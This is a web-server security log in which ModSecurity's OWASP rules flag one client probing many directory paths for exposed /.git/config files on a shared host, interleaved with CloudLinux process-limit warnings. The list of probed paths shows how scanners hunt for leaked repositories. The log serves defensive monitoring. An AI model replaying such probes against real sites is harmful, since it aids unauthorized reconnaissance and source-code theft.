[Fri Jul 17 08:36:34.619834 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRQAAABE"]
[Fri Jul 17 08:36:34.619991 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.620205 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW5AAAAA8"]
[Fri Jul 17 08:36:34.620235 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRQAAABE"]
[Fri Jul 17 08:36:34.620475 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WAAAABA"]
[Fri Jul 17 08:36:34.620634 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.620765 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOkkXT4NBqALj2lZ6WAAAABA"]
[Fri Jul 17 08:36:34.620937 2026] [hostinglimits:warn] [pid 2018758:tid 2018758] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018758) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.621117 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qRQAAABE"]
[Fri Jul 17 08:36:34.621714 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3QAAABI"]
[Fri Jul 17 08:36:34.621932 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3QAAABI"]
[Fri Jul 17 08:36:34.621955 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5QAAAA8"]
[Fri Jul 17 08:36:34.622033 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.622150 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s3QAAABI"]
[Fri Jul 17 08:36:34.622241 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5QAAAA8"]
[Fri Jul 17 08:36:34.622386 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.622539 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW5QAAAA8"]
[Fri Jul 17 08:36:34.623331 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3gAAABI"]
[Fri Jul 17 08:36:34.623515 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3gAAABI"]
[Fri Jul 17 08:36:34.623618 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.623727 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s3gAAABI"]
[Fri Jul 17 08:36:34.626185 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /packages/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/packages/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3wAAABI"]
[Fri Jul 17 08:36:34.626262 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5gAAAA8"]
[Fri Jul 17 08:36:34.626446 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/packages/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3wAAABI"]
[Fri Jul 17 08:36:34.626512 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5gAAAA8"]
[Fri Jul 17 08:36:34.626593 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.626642 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.626750 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s3wAAABI"]
[Fri Jul 17 08:36:34.626802 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW5gAAAA8"]
[Fri Jul 17 08:36:34.627692 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4AAAABI"]
[Fri Jul 17 08:36:34.627921 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s4AAAABI"]
[Fri Jul 17 08:36:34.628053 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.628178 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/build/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WQAAABA"]
[Fri Jul 17 08:36:34.628187 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s4AAAABI"]
[Fri Jul 17 08:36:34.628231 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /microservices/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5wAAAA8"]
[Fri Jul 17 08:36:34.628499 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5wAAAA8"]
[Fri Jul 17 08:36:34.628650 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.628815 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW5wAAAA8"]
[Fri Jul 17 08:36:34.629685 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRgAAABE"]
[Fri Jul 17 08:36:34.629990 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRgAAABE"]
[Fri Jul 17 08:36:34.630144 2026] [hostinglimits:warn] [pid 2018758:tid 2018758] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018758) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.630305 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qRgAAABE"]
[Fri Jul 17 08:36:34.630717 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/build/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WQAAABA"]
[Fri Jul 17 08:36:34.630847 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
